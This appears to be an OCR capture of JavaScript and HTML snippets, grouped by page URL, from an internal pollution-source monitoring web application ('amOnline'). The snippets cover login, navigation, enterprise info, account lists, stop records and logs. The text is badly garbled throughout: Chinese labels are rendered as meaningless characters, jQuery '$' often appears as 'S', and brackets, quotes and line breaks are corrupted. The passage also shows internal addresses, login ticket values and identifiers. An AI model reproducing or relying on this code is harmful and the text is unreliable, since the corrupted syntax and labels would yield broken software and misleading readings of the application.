http://172.20.7.168:8083/am [if It IE 9]>
online/app/onlinemon/online <script src="../../static/am/vendor/help/script/ntml5.js"></script>
action'history.page <l[endif]
http://172.20.7.168:8083/am nav- - begin
online/app/onlinemon/online

action'history.page

http://172.20.7.168:8083/am /P #d, 20 #dls, 3oreh¥cdE, 4skm #dE
online/app/onlinemon/online

action'history.page

http://172.20.7.168:8083/am  <span tag="4" pagesize="20">5:&nbsp; i </span>
online/app/onlinemon/online <span tag="2" pagesize="20" class="roundRight">&nbsp; H
action!history.page &nbsp;</span>
http://172.20.7.168:8083/am  <a id="bar_repair" tag="repair" class="mt5"> & </a>
online/app/onlinemon/online

action!history.page

http://172.20.7.168:8083/am nav- - end
online/app/onlinemon/online

action'history.page

http://172.20.7.168:8083/am  {#3j#¢/~HE-begin
online/app/onlinemon/online

action!history.page

http://172.20.7.168:8083/am 4% T HA%-IN# l-begin
online/app/loginfo/loginfoacti

onllist.page

http://172.20.7.168:8083/am  Tii#k L EA4=- - end
online/app/monitorspot/spota

ctionllist.page

http://172.20.7.168:8083/am 711 ¢ %:- - begin
online/app/monitorspot/spota

ctionl!list.page

http://172.20.7.168:8083/am 7] %% {4 - end
online/app/monitorspot/spota

ctionllist.page

http://172.20.7.168:8083/am  context- - begin
online/app/monitorspot/spota

ctionllist.page

http://172.20.7.168:8083/am context- - end
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online/app/monitorspot/spota
ctionllist.page

http://172.20.7.168:8083/am
online/app/monitorspot/spota
ctionllist.page

http://172.20.7.168:8083/am
online/app/revisedmanage/re
visedactionllist.page

http://172.20.7.168:8083/am
online/app/revisedmanage/re
visedactionllist.page

http://172.20.7.168:8083/am
online/app/revisedmanage/re
visedactionllist.page

http://172.20.7.168:8083/am
online/app/abnormity/abnor
mityaction!abnormity.page

http://172.20.7.168:8083/am
online/app/abnormity/abnor
mityaction!abnormity.page

http://172.20.7.168:8083/am
online/app/abnormity/abnor
mityaction!list.page

JavaScript®

URL / K%

tip-#27~-begin

el f&] B 25 4- - end

& FF2-begin

Hif| 5 F4~-end

B A2 - begin

EiFFAE- - end

T8 L A4=- - begin

http://172.20.7.168:8083/amonline/app/applogin.page

var context = '/amOnline';
var authorizeType = 'l1';
var enableCaptcha = 'false';

var

loginTicket = '2c9487286b79d3e4016b8766909512e0";

http://172.20.7.168:8083/amonline/app/applogin.page

$('.aLoginSm') .click (function () {
S ("#content2") .show () ;

$ ("#content3") .hide () ;

S ("#content4d") .hide () ;

S ("#content5") .hide () ;

3

S ('.aLoginYh') .click (function () {
$ ("#content2") .hide () ;

$ ("#content3") .show ()

S ("#content4") .hide ()

S ("#content5") .hide ()

3
$('.aLoginYzm') .click (function () {
$ ("#content2") .hide () ;

$ ("#content3") .hide () ;

$ ("#content4") .show () ;
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$ ("#content5") .hide () ;
1)

$ ("#mobileLoginsss_cz') .click (function () {
S ('#cmUsername') .attr ('value', '');
$('#verificationCode') .attr ('value', '');
$ ('#cmUsername') . focus () ;

3

$ ("#mobileLoginss_cz') .click (function () {
S ('#newPwd') .attr ('value', '');
$('#comfirmPwd') .attr ('value', '');

S ('#newPwd') . focus () ;

I

http://172.20.7.168:8083/amonline/app/applogin.page

void(0) ;

http://172.20.7.168:8083/amonline/app/applogin.page

javascript:$ ('#divFloatToolsView') .animate ({width: 'show', opacity: 'show'}, 'normal', function () {
$ ("#divFloatToolsView') .show () ; kf_ setCookie ('RightFloatShown', 0, '', '/', 'www.shopnc.net');
}):$ ('#aFloatTools_Show') .attr('style', 'display:none');$ ('#aFloatTools Hide').attr ('style',6 'display:block');

http://172.20.7.168:8083/amonline/app/applogin.page

javascript:$ ('#divFloatToolsView') .animate ({width: 'hide', opacity: 'hide'}, 'normal', function () {
$('"#divFloatToolsView') .hide () ;kf_setCookie ('RightFloatShown', 1, '', '/', 'www.shopnc.net');
}) S ('#aFloatTools_Show') .attr('style', 'display:block');$ ('#aFloatTools_Hide') .attr('style', 'display:none');

http://172.20.7.168:8083/amonline/app/applogin.page

submitCheck ()

http://172.20.7.168:8083/amonline/app/applogin.page

var context = '/amOnline';
var authorizeType = 'l1';
var enableCaptcha = 'false';

var loginTicket = '2c9487286b79d3e4016b8767113el2ec"';

http://172.20.7.168:8083/amonline/app/applogin.page
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context = '/amOnline';

authorizeType = '1';
enableCaptcha = 'false';
loginTicket = '2c9487286b79d3e4016b8767113el2eb’;

http://172.20.7.168:8083/amonline/app/applogin.page

context = '/amOnline';
authorizeType = '1';
enableCaptcha = 'false';

loginTicket = '2c9487286b79d3e4016b8767117d12ed"';

http://172.20.7.168:8083/amonline/app/applogin.page

context = '/amOnline';

authorizeType = '1';

enableCaptcha = 'false';

loginTicket = '2c9487286b79d3e4016b8767136112f1";

http://172.20.7.168:8083/amonline/app/applogin.page

context = '/amOnline';

authorizeType = '1';

enableCaptcha = 'false';

loginTicket = '2c9487286b79d3e4016b8767136112£0";

http://172.20.7.168:8083/amonline/app/appmain.page

2019/6/24

layui.use('element', function() {
var element = layui.element; // SR hove r IR

/ /M AL
element.on ('nav (demo) ', function (elem) {
layer.msg (elem.text ());
1) i
1) i

function changeFrameHeight () {

TRERAETRE, TR e lement BT

var ifm= document.getElementById("frame lgpblpww");
ifm.height=document.documentElement.clientHeight-64;

}

changeFrameHeight ()

//changeFrameHeight () ;

window.onresize=function () {
changeFrameHeight () ;

}
/1B RGE

function logoutSys (ifrSrc) {

window.location.href='/amOnline/app/j spring .

}

security logout';
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function loadIframe (ifrSrc) {
var ifm= document.getElementById("frame lgpblpww");
ifm.src='/amOnline/'+ifrSrc;

}

var regionCode='510101000";

if (regionCode!="'"'&&regionCode.substr (0, 2)=='64") {
document.getElementById ("xcdzhgl") .innerHTML = "";
var html="";

html+="<dd><a href=\"#\" onclick=\"loadIframe ('app/monitorspot/spotAction!list.page')\">&E&KI</a>
</dd>";

html+="<dd><a href=\"#\" onclick=\"loadIframe ('app/viewmonitor/monitorDataAction!list.page')\">{5BIEK
</a></dd> ";

/‘k

html+="<dd><a href=\"#\" onclick=\"loadIframe ('app/monitorspot/stopAction!list.page')\">EEEFH</a>

</dd> ";
html+="<dd><a href=\"#\" onclick=\"loadIframe ('app/mprepair/mpRepairAction!list.page’)\">RIEEH</a>
</dd> ";
html+="<dd><a href=\"#\" onclick=\"loadIframe ('app/stove/stoveAction!list.page')\">F{E}HK</a>
</dd> ";

html+="<dd><a href=\"#\" onclick=\"loadIframe ('app/viewmonitor/monitorDataAction!list.page"')\">{5 ik
</a></dd> "; */

document.getElementById ("xcdzhgl") .innerHTML = html;

}else if(regionCode!="'"'&&regionCode.substr (0, 2) USILH g
document.getElementById ("xcdzhgl") .innerHTML = "";
var html="";
html+="<dd><a href=\"#\" onclick=\"loadIframe ('app/monitorspot/spotAction!list.page"’)\">E&EKI</a>
</dd>";
html+="<dd><a href=\"#\" onclick=\"loadIframe ('app/monitorspot/stopAction!list.page’)\">{FEEFH</a>
</dd> ";

html+="<dd><a href=\"#\" onclick=\"loadIframe ('app/abnormity/abnormityAction!list.page")\">F% ¥ IIric
</a></dd> ";

/* html+="<dd><a href=\"#\" onclick=\"loadIframe ('app/stove/stoveAction!list.page')\">EEHK</a>
</dd> ";

html+="<dd><a href=\"#\" onclick=\"loadIframe ('app/viewmonitor/monitorDataAction!list.page')\">{5SIER
</a></dd> "; */
document.getElementById ("xcdzhgl") .innerHTML = html;

1if (isIE()) {
document.getElementById ("reviseLi") .removeNode (true) ;
telse{
document.getElementById ("reviseLi") .remove () ;
}
telse{
if (isIE()) {
document.getElementById ("reviseLi") .removeNode (true) ;
telse{
document.getElementById ("reviseLi") .remove () ;

}
/*
F 75 TR WA
w2/
function isIE () {
if (!!window.ActiveXObject || "ActiveXObject" in window) {
return true;
telse{
return false;

http://172.20.7.168:8083/amonline/app/appmain.page
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http://172.20.7.168:8083/amonline/app/appmain.page

loadIframe ('app/psinfo/psInfo!view.page')

http://172.20.7.168:8083/amonline/app/appmain.page

loadIframe ('app/onlinemon/onlineAction'history.page')

http://172.20.7.168:8083/amonline/app/appmain.page

loadIframe ('app/monitorspot/spotAction!list.page')

http://172.20.7.168:8083/amonline/app/appmain.page

loadIframe ('app/monitorspot/stopAction!list.page')

http://172.20.7.168:8083/amonline/app/appmain.page

loadIframe ('app/revisedmanage/revisedAction!list.page')

http://172.20.7.168:8083/amonline/app/appmain.page

loadIframe ('app/account/accountAction!list.page')

http://172.20.7.168:8083/amonline/app/appmain.page

loadIframe ('app/loginfo/loginfoAction!list.page')

http://172.20.7.168:8083/amonline/app/appmain.page

logoutsSys ()

http://172.20.7.168:8083/amonline/app/psinfo/psinfolview.page
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var viewpsid = '';

var delobj={};// IG5 5
var _mpobj={};

var _param={};

var _psType={};

var customtagid='"';

var userdata={};

var mpIltemObj={};

load('");// T
// IR &l
function load(id) {
var strurl = 'app/psinfo/psInfo!listPsInfo.page’;
var url = baseUrl (strurl+'?psid='+id);
Loading () ;

JgAjax (url, 'get', {}, function (data) {
Psinfo = data;
draw () ;
hideLoading() ;
}) i
_viewpsid=id;

fd(z
sourceType J54e, /KHED, SHEO, /K#kO, WfEAS, KEMRE, KEMRES ke
opt, BAERM WEE, MER, LRk, BIh%E. R EHRE
id BREEAE Bl
“f
function opt (sourceType, opt, id) {
var title = Psinfo.Title; //+''+paras.join(',');
if (sourceType == 'ps') { // |4
if (opt == 'edit') {
_psType={};
_psType.type=Psinfo.psClassCode;
_psType.id=id;
jf.loadWindow (title, baseUrl ('static/am/template/psinfo/psinfo.html?id=' + id), 820,

530) ;
} else if (opt == 'addout') {
_psType={};
_psType.type=Psinfo.psClassCode;
_psType.title=title;
jf.loadWindow (title + '-- PR
baseUrl ('static/am/template/psinfo/opt/outputType.html?psId="' + id), 470, 300);
} else if (opt == 'addpte') {
jf.loadWindow (title + '--— PR ', baseUrl ('static/am/template/psinfo/pte.html?psId="
+ id), 820, 530);
} else if (opt == 'delete') {
jf.sendNotice (' PR, AT SR MR, 2, 2) ;
//3f.loadWindow (title+'-- BIERG

\',baseUrl ('static/am/template/psinfo/opt/psDeleteInfo.html?id="+id), 820,530) ;
}

} else if (sourceType == 'output') { // K
title += '-- A
if (opt == 'add') {
_psType={};

_psType.title=title;
_psType.type=Psinfo.psClassCode;
jf.loadWindow (title + '—- EBEHEIA Y,
baseUrl ('static/am/template/psinfo/opt/outputType.html?psId="' + id), 470, 300);
}

} else if (sourceType == 'output-water') { // JKHED
_psType.title=title;
var output = jsonObjectById(Psinfo, id); // FBloutput X%
if (output==undefined) {
jf.sendNotice (' oR e, IEERIB S AR, WHEMR. ... 1, 2,2);

}
title += '--'+output.Title;
if (opt == 'edit') {

jf.loadWindow (title + '-- BH/KHEE ', baseUrl ('static/am/template/psinfo/output-

water.html?psId=' + Psinfo.Id + '&id=' + id), 820, 530);

} else if (opt == 'addmp') {

jf.loadWindow (title + '--— WKW S, baseUrl ('static/am/template/psinfo/monitor-

water.html?psId=' + Psinfo.Id + '&outletid=' + id+ '&flowid=' + id), 820, 530);
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} else if (opt == 'delete') {

_delobj {
type: 1,//'output-water',
id: id
}
jf.loadWindow (title + '-- MHERAEIA
baseUrl ('static/am/template/psinfo/opt/deleteInfo.html'), 470, 280);
}
} else if (sourceType == 'output-gas') { // H0
_psType.title=title;
var output = jsonObjectById(Psinfo, id); // %ﬁﬁloutput%ﬂ%{
if (output==undefined) {
jf.sendNotice (' s, IETERDET S, EREER. ... ', 2,2)
}
title += '--'+output.Title;
if (opt == 'edit') {

jf.loadWindow (title + '--
psId=' + Psinfo.Id + '&id=' + id), 820, 530);
} else if (opt == 'addmp') {

jf.loadWindow (title + '--— WA WS, baseUrl ('static/am/template/psinfo/monitor-
gas.html?psId=' + Psinfo.Id + '&outletid=' + id + '&flowid=' + id), 820, 530);

B SHED ', baseUrl ('static/am/template/psinfo/output-gas.html?

} else if (opt == 'delete') {
_delobj = {
type:2,// 'output-gas',
id: id

}
jf.loadWindow (title, baseUrl ('static/am/template/psinfo/opt/deleteInfo.html'), 470,

280) ;
}
} else if (sourceType == 'output-in') { // KO
_psType.title=title;
var output = jsonObjectById(Psinfo, id); // RE output Xt 4
if (output==undefined) {
jf.sendNotice (' PR, VIETERDE S EAE, EMHEER. ... 1, 2,2)
}
title += '--'+output.Title;
if (opt == 'edit') {

jf.loadWindow (title + '--
psId=' + Psinfo.Id + '&id=' + id), 820, 530);
} else if (opt == 'addmp') {

jf.loadWindow (title + '--— WK MEIE S, baseUrl ('static/am/template/psinfo/monitor—
in.html?psId=' + Psinfo.Id + '&outletid=' + id+ '&flowid=' + id), 820, 530);

Btk I, baseUrl ('static/am/template/psinfo/output-in.html?

} else if (opt == 'delete') {
_delobj = {
type:3,// 'output-in',
id: id
}
jf.loadWindow (title + '--— LRGN
baseUrl ('static/am/template/psinfo/opt/deleteInfo.html'), 470, 280);
}
} else if (sourceType == 'mp') { // WEd5 5
var mp,output;
var obj = jsonObjectById(Psinfo, id); // R mp XT 5
if (obj==undefined) {
jf.sendNotice (' FoR e, IETERE S EEE, WRETR. ... 1, 2,2);

}

http://172.20.7.168:8083/amonline/app/psinfo/psinfolview.page

this.src='../../static/themes/vocs/images/link info.png'

http://172.20.7.168:8083/amonline/app/psinfo/psinfolview.page

this.src='../../static/themes/vocs/images/link_info_hover.png"'
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http://172.20.7.168:8083/amonline/app/psinfo/psinfolview.page

openPagess () ;

http://172.20.7.168:8083/amonline/app/account/accountaction!list.page

var grid,pageSize=20;
var _regiondata;

jf.initPage = function () {

S ('#search_status') .jfchoice ({
data:[{"id":"0", "text":" AFY, {madn 1, meext W EATY, ("ddm i m-1n, ntext " i AR},
text: 'text',
height: 140,
defaultIndex: O,
value: 'id'

/*
BRI B E 25 A P AT EX R
var url = baseUrl ('app/standard/discharge/commons/autoUser!getLogonUser.page') ;
JgAjax (url, 'post',null, function (data) {
if (data) {

$.get (Actions.common.region) .done (function (regiondata) {
var objregion=jsonObjectById(regiondata,data.regionCode) ;
S ('#search_regionCode') .val (data.regionCode) ;
$('input[name="search_regionCode_name"]').val(objregion.short_name);
_regiondata=regiondata;
serchListInfo (1) ;

)i
}
P ix/
serchListInfo (1) ;

$ (window) .resize (function () {
S ("#enterpriselList") .datagrid("resize");
I N
}i

function serchListInfo (pageNo) {

var psn="";

if ($('#search name') .val()=="' HPKE ) {
psn="";

}else({
psn=$ ('#search name') .val ()
}

var paramQuery = {
search_pageNo:pageNo,
search_pageSize:pageSize,
search name :psn,
search_status : $('input[namez"search_status"]').val(),
search_regionCode : $("input[name='search_regionCode']") .val ()

} ;

grid=$ ('#enterpriselList') .datagrid ({
method: 'post',
width: '100%',
url: baseUrl ('app/account/accountAction!jsonList.page'),
pageSize:pageSize,
pageNumber : pageNo,

columns: [ [
{field:'username', title:’ K5, width:300},
{field:'true name', title:' B, width:200},
{field:'userType', title:" F RS, width:200},
{field:'create_date', title:' Bl HM ", width:200, formatter:dateFormat},
{field:'status',title:" JRA ', width:200, formatter: formatUserStatus},
{field:'describ',title:" #3E , width:200},
/*{field:'trueName', title:" B4, width:100},
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(field: 'password', title:"’ F P %S, width: 150},

(field:'eMail', title:"' FAFIRFE ', width:150},
(field:'idCard', title:" BHES ', width:1501},
{field:'require sms_check',title:’ PUEIES ', width:100},
{field:'sms_check code',title:' PIEERI T, width: 150}
{field:'sms_valid', title:' FHLEM ", width: 100}, */
{field:'id', title:" $#1E", width:200, formatter: formatOpt}

11,
queryParams:paramQuery,
singleSelect: true,
nowrap: true,
pagination:true,
selectOnCheck:false,
checkOnSelect:false,
scrollbarSize: O,
fit:true

}) i
}

// FAEERAET
function formatOpt (val, row, index) {
var str='<div class="opt psl">';

str+='<a onclick="updUserInfo (\'{0}\')" title=" Yu#"><span class="icon icon-edit"></span>
</a>'.format (index) ;
/*str+='<a onclick="delUserInfo (\'{0}\'")" title=" WW§"><span class="icon icon-delete mll12">
</span></a>"'.format (row.id) ; */
if (row.status=="-1") {
str+='<a onclick="approvalUserInfo (\'{0}\')" title=" JaiZMH P "><span class="icon icon-

relate mll2"></span></a>'.format (row.1id) ;
}else if (row.status=='1") {
str+='<a onclick="blockUserInfo (\'{0}\")" title=" {EHi%H Fi"><span class="icon icon-
relate-dis mll2"></span></a>'.format (row.id) ;
}
str+="'</div>';
return str;

// B I

$(".bt_new").on("click", function () {
var url = baseUrl ('static/am/template/childrenAccount/user edit.html');
jf.loadWindow (' AP SR, url, 500,450) ;

}

// i DU
var _row=null;
function updUserInfo (index) {
_row=$ ("#enterpriseList") .datagrid("getRows") [index];
var url = baseUrl ('static/am/template/childrenAccount/user edit.html?id='+_row.id);
jf.loadWindow ('EHM/EE ", url, 500,450) ;
}

/*function delUserInfo (id) {

var _id;
jf.confirm ("#R", THIIAMERIZZEHER! 1, function () {
_id = id;
var url = baseUrl ('app/standard/discharge/commons/userPerson!delUserInfo.page');
JgAjax (url, 'post', {search userID:_id}, function (data) {
if (data.result == 'success') {
S ('#enterpriselist') .datagrid('reload"');
jf.sendNotice (' PR, VBRI, 1, 2)
}else({
jf.sendNotice (' /R, data.msg,0,2) ;
}
})i
}) i
IR
// Ji
function approvalUserInfo (id) {
var _id;
jf.confirm(’ o, "BNE FZA P ', function () {
id = id;

var url = baseUrl ('app/account/accountAction!start.page');
JgAjax (url, 'post', {id:_id}, function (data) {
if (data.result == 'success') {
S ('#enterpriselist') .datagrid('reload');
jf.sendNotice (' "o, VBB, L, 2)
telse(
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jf.sendNotice (' /"', data.msg,0,2);

}
// =

function...

http://172.20.7.168:8083/amonline/app/account/accountaction!list.page

serchListInfo (1) ;

http://172.20.7.168:8083/amonline/app/onlinemon/onlineaction!history.page

var _psid,_regionCode, historydata={},ValueOrRevised='Revised', timenumber=0,pl selected=
{},standard flag=true;
var _myChart, selected, pagesize=24, isLocal=-1, historyDataGrid;

var option=new Object();
var option2=new Object () ;

var _PsPollutants, MpPollutants;

$ (function () {
_psid='510101055565"
_regionCode='510101000"
/ /RIEAA H %
initJfDate () ;

var url=baseUrl ('app/onlinemon/onlineAction!getPollutantsWithPsID.page?psID="+ psid);
JgAjax (url, 'post',null, function (data) {

_PsPollutants=data;

/ /N MEAE

loadmp () ;7
1) i

$ (window) .resize (function () {
S ("#historydatalList") .datagrid("resize");
1)
)i

function loadmp () {

cleardata () ;
/ /B
S ('#mpcontrol') .val('').jfchoice ({

empty:true,
url:Actions.histroy.getmp+'?psid='+_psid,
text:'name',
value:'id',
defaultIndex:0,
onCheck: function (item,data, index) {
_mpselect={item:item,data:data, index:index};
for (var i=0;i<_PsPollutants.length;i++) {
if (data[index].id== PsPollutants[i].mpID) {
_MpPollutants=_ PsPollutants[i].pollCode;
}

ValueOrRevised="'Revised';

$('#bar xiu').addClass('on');
$('#bar_yuan') .removeClass('on');
$('#bar stop').removeClass('on');
$('#bar_repair') .removeClass('on');
$('#bar_yi') .removeClass('on');
delChartbg('all');
delChartIcon('all');
delChartYiLine () ;
removeStandard () ;
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load Data() ;

http://172.20.7.168:8083/amonline/app/loginfo/loginfoaction!list.page

// TS/

var param,pageSize=20,grid, psid;

jf.initPage=function () {
_psid='510101055565"
/ YRIIIE> 4 TA €]
$ ('#search moduleName') .combobox ({
data: Actions.loginfo.loginfoModule.data,
method: 'post',
height:32,
width:185,
valueField: 'id',
textField: 'text'
)i
/ /¥tEfkdatagrid
S ('#loginfoTable') .datagrid ({
method: 'post',
url:'loginfoAction!jsonList.page?psID="+ psid,
rownumbers:true,
width: '100%',
singleSelect: true,
nowrap: true,
selectOnCheck:false,
checkOnSelect:false,
scrollbarSize: O,
pageSize:pageSize,
pagination: true,
fit:true,
onLoadSuccess: function (data) {

if (data.total==0) {
jf.sendNotice (' Ry, "HmE LR 1, 2,2)
return;

P
var edatel= new Date();
var sdatel = new Date (edatel.getTime ()-(7*24*60*60*1000)) ;
S ('#search startEndTimeParm') .jfDoubleDate ({
sdate:sdatel,
edate:edatel,
range:1,
rangeType: 'Month'
1) i
var begindate = sdatel.format ('yyyy-MM-dd') ;
var enddate = edatel.format ('yyyy-MM-dd');
$('#search_startEndTimeParm').val(begindate+'§§'+enddate);
$ (window) .resize (function () {
S ("#loginfoTable") .datagrid ("resize") ;
1) i
}

/*
#if]
=)
function serchListInfo (pageNo) {
S ('#loginfoTable') .datagrid('clearSelections') ;
var queryParams = $('#loginfoTable').datagrid('options') .queryParams;

var search _moduleId =$("input[name='search_moduleName']").val();
var search_startEndTime =$ ("#search_startEndTimeParm").val();
queryParams.psID = _psid;

queryParams.search _moduleld search_moduleld;
queryParams.search startEndTime = search startEndTime;
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queryParams.pageNo = 1;

$('#loginfoTable') .datagrid('options') .queryParams = queryParams;

$('#loginfoTable') .datagrid('options') .pageNumber=pageNo;
var pager = $('#loginfoTable').datagrid('getPager');
pager.pagination ('refresh', { pageNumber:pageNo });
$("#loginfoTable") .datagrid('reload’) ;

AR BAET

function formatModuleName (val, row, index) {

if (val==11) {

return val = " WA s B ;
}else if (val==14) {

return val = " Pl e ;
lelse if(val==15) {

return val = " e B ;
lelse if (val==16) {

return val = " SRR
lelse if (val==24) {

return val = " JEFER;
telse{

return val = " FEAME B Y

}
}

WRETR

function formatRecord(val, row, index) {

return '<span title="{0}">{0}</span>'.format (val) ;
}

http://172.20.7.168:8083/amonline/app/loginfo/loginfoaction!list.page

serchListInfo (1)

http://172.20.7.168:8083/amonline/app/monitorspot/stopaction!list.page

2019/6/24

var beginTime="",endTime="",methodName=""

S H/

var param,pageSize=20,searchFlag=0;

jf.initPage=function () {

var sdatel = new Date();

var edatel= new Date();

sdatel.addDays (-60) ;

S ('#search_startEndTimeParm') .jfDoubleDate ({
sdate:sdatel,
edate:edatel

I N

formatTime () ;

S ("#mpStopInfolist') .datagrid({

method: 'post',

url: baseUrl ('app/monitorspot/stopAction!findStopInfos

queryParams: {
search_startTime:beginTime,
search_endTime:endTime

by

rownumbers:true,

pageSize:pageSize,

width: '100%',

singleSelect: true,

nowrap: true,

pagination: true,

selectOnCheck:false,

checkOnSelect:false,

scrollbarSize: 0,

.page'),
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fit:true,
onLoadSuccess: function (data) {

if (data.total==0) {
jf.sendNotice (' B, EBRAA ¥R E A REBER! 1, 2,2)
return;

1) i

$ (window) .resize (function () {
S ("#mpStopInfolist") .datagrid("resize") ;
b
}

// bEE SIS

function formatListName (val, row, index) {

return '<span class="cut-normal maxW280" title="{0}">{0}</span>'.format (val);

}

// FAEERAET
function formatOpt (val, row, index) {

var delMsgStr=" REMEE [{0)-{1} {2}&{3}] fFEid
ﬁ%".format(row.psName,row.mpName,row.stopDate,row.endDate);

if (row.sfsz=="1") {

if (row.isDelete=="1") {
return '<div class="opt_ psl">' +

'<a href="javascript:;" ><span class="icon icon-edit"
onclick="editMpStopInfo (\'{O}\"', \"{I1I\', \"{2}\", \"{3}\"',\"{4}\',\"{5}\")"></span>

</a>'.format (row.id, row.psName, row.mpName, row.isGd, row.proofId) +

'<a href="javascript:;" ><span class="icon icon-delete mll2"

onclick="delStopInfoByID(\'{O0}\"',\"{1}\',\"{2}\"')"></span></a>'.format (row.id,delMsgStr, row.proofId)

'</div>";
telse{
return '<div class="opt psl">' +

'<a href="javascript:;" ><span class="icon icon-edit"
onclick="editMpStopInfo (\'{O}\", \"{1}\", \"{2I\", \"{3}\"'",\"{4}\",\"{5}\") "></span></a>'.format (row.id,

row.psName, row.mpName, row.1sGd, row.proofId ) +

'<a href="javascript:;" ><span class="icon icon-edit-gray mll2"
{0}"></span></a>'.format ("MK OLETFR, LiEMER") +
'</div>";
}
lelse{
return '<div class="opt_psl">' +
'<a href="javascript:;" ><span class="icon icon-edit-grayll mll2"
{0}"></span></a>'.format ("HANCK A, TiEmE" ) +
'<a href="javascript:;" ><span class="icon icon-edit-gray mll2"
{0}"></span></a>'.format ("MFIICK LAY, TikMER") +
'</div>";
}
}
/*
MERfFEIE S
*/
function delStopInfoByID(id,delMsg,attachId) {
jf.confirm("' #I8', delMsg, function () {

var url=baseUrl ('app/monitorspot/stopAction!delete.page?
id='+id+'&search proofId='+attachId);
JgAjax (url, 'post',null, function (data) {
if (data.result == 'success') {
S ("#mpStopInfolist") .datagrid('reload"') ;

jf.sendNotice (' o, Bl MR ., 1, 2)
telse({
jf.sendNotice (' PR, T MIBRRI, HEk

}
1) i
})

}

// RMEIRAE - %

function formatMonitorPoint (val, row, index) {
var mpType=row.mpType;
if (mpType=="'4"| |mpType=="6") {

return '<div class="monitorPoint"><a style="max-width:150px;" class="monitorPoint-
cut" title="{0}">{0}</a><span class="tips kao inline">ﬂ(</span></div>'.format(val);

lelse{

return '<div class="monitorPoint"><a style="max-width:150px;" class="monitorPoint-
cut" title="{0}">{0}</a><span class="tips que">éi</span></div>'.format(val);

}

title="

title="

title="

AR RAME, R EH R

0,2)
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// AR LI 7]

function formatStopTime(val, row, index) {

return '<span>{0} — {1}</span>'.format (row.stopDate,row.endDate) ;
}
// A M B
function formatOptTime (val, row, index) {
return '<span>{0} — {1l}</span>'.format (row.checkEndDate,row.checkStopDate) ;
}
/*
i)
@param pageNo
*/
function serchMpStopInfo (pageNo) {
var beginEndTime=$("input[name='search_startEndTimeParm']").val();
beginTime=beginEndTime.split (" ") [0];
endTime=beginEndTime.split (" ZEv)[1];

$ ('#mpStopInfolist') .datagrid('clearSelections');
var queryParams = $('#mpStopInfolist').datagrid('options').queryParams;
queryParams.search_startTime =beginTime;
queryParams.search_endTime =endTime;
$ ("#mpStopInfolist') .datagrid('options') .queryParams = queryParams;
S ('#mpStopInfolist') .datagrid('options') .pageNumber=pageNo;
var pager = $('#mpStopInfolist').datagrid('getPager');
pager.pagination ('refresh', { pageNumber:pageNo });
S ("#mpStopInfolist") .datagrid('reload"') ;

var mpStopInfoID="",mpStopInfoEpoFlag="",mpStopInfoGdFlag="";

var _stopPsName='"', stopMpName='', proofId='';
/*
WIS A FEER
=/
function addMpStopInfo () {
mpStopInfoID="", mpStopInfoGdFlag='";
methodName="'save';
var url=baseUrl ('static/am/template/onsite/mpstop merge.html');
jf.loadWindow (" Frigfsizid s, url, 860, 530) ;
}
/*
g FIE L RAE S
v

function editMpStopInfo (ID, stopPsName,stopMpName,gdFlag,proofId) {
mpStopInfoID=ID, mpStopInfoGdFlag=gdFlag;
_stopPsName=stopPsName, stopMpName=stopMpName, proofId=proofId ;
methodName='edit"' ;
var url=baseUrl ('static/am/template/onsite/mpstop merge.html');
jf.loadWindow (" iRl .

http://172.20.7.168:8083/amonline/app/monitorspot/stopaction!list.page

serchMpStopInfo (1)

http://172.20.7.168:8083/amonline/app/monitorspot/stopaction!list.page

addMpStopInfo ()

http://172.20.7.168:8083/amonline/app/monitorspot/spotaction!list.page

2019/6/24
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var _proofld, regionCodeProof;

var isUpdate;

var _selFlagMerge=0,_ selEquipIDMerge;

var acceptDatas,

selIndex, acceptID,param,childListDatas, updSaveFlag, regoname;

var total=0,pageSize=20,searchFlag=0;

var regintemp="", reginName="";

var _customtagid="";

jf.initPage = function () {
S ('#acceptStatus') .trigger('setval', ['-99']);
/ Vacqii

serchEquipAccptInfo (1) ;

regionCodeProof='510101000"

}i

var trAccpetTime, trAccpetStatus;

/*
VIIESLGRES
*/
function addEquiptAccept () {
isUpdate=0;
acceptID="'"', updSaveFlag=1l;
if (regionCodeProof.substring(0,2)=="51") {

var url=baseUrl ('static/am/template/onsite/onsit _merge_ sc.html')
jf.loadWindow (" B SR, url, 795, 468) ;

telse{
var url=baseUrl ('static/am/template/onsite/onsit merge.html')
jf.loadWindow (" B E 8, url, 795, 368) ;
}
}
/*
e i

@param id
=Y

function updEquiptAccept (id,updFlag, regoname) {
isUpdate=1;
_updSaveFlag=updFlag;
acceptID=id;
_regoname=regoname

if (regionCodeProof.substring (0,2)=="'51") {

telse{

var url=baseUrl ('static/am/template/onsite/onsit_merge_sc.html')
j£.loadWindow (" oWt B 4Edm, url, 795, 468) ;

var url=baseUrl ('static/am/template/onsite/onsit merge.html')
jf.loadWindow (" s B 4E ", url, 795, 368) ;

var childInfoFlag=true;

/*

T I A SREC T B T R

@param index
=/

function initChildData (index) {

if (selIndex==index&&childInfoFlag){ //

}

O IR RS Y %
S ("#childInfo") .remove () ;

var nTr=$ ("#"+acceptDatas[index] .equipId) ;
nTr.removeClass ("on") ;

childInfoFlag=false;

return;

childInfoFlag=true;

selIndex=index;

trAccpetTime="'";

var tr=$("#"+acceptDatas[sellndex].equipId) ;

S ("#onsiteCheckInfoUl tr").removeClass ("on");

tr.addClass ("on");

var str='<tr id="childInfo" class=\"on-content \"><td colspan=\"4\" class=\"b-left b-right\">
<div class=\"detail\">';

/

/T HALA AR A G

if (acceptDatas[selIndex].epoFlag=="1") {

str+='<p><input type=\"button\" class=\"bt new\" id=\"add\" value=\"

onclick="addEquiptAccept () "/></p>";

telse{

Hrenbsp; W\

str+='<p><input type=\"button\" title="{0}" class=\"bt new gray\" id=\"add\"

value=\"#aenbsp; B\" /></p>'.format ("% EEHIR)E T "+acceptDatas [selIndex] .epoName+", iHHE

A "+acceptDatas[selIndex].epoName+"HEAT4Ed 1! ) ;
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}
str+='<table class=\"table\" id="childTab" cellpadding=\"0\" cellspacing=\"0\">"';
var url = baseUrl ('app/monitorspot/spotAction!findAcceptRecord.page?
search_equipId="'+acceptDatas[selIndex].equipId+'&search psId='+acceptDatas[selIndex].psId+'&search _mpId="'+acc
eptDatas[selIndex] .mpId) ;
JgAjax (url, 'post',null, function (data) {
$("#childTab") .empty () ;
childListDatas=data.rows;
var listInfo=data.rows;
for (var i=0;i<listInfo.length;i++) {
if (i==0) {
if(listInfo.length>1) {
trAccpetTime=listInfo[i].acceptTime;

}
S ("#accpetTime"+acceptDatas[sellIndex] .equipld) .empty () ;
S ("#accpetTime"+acceptDatas[sellndex] .equipld) .append (listInfo[i].acceptTime) ;

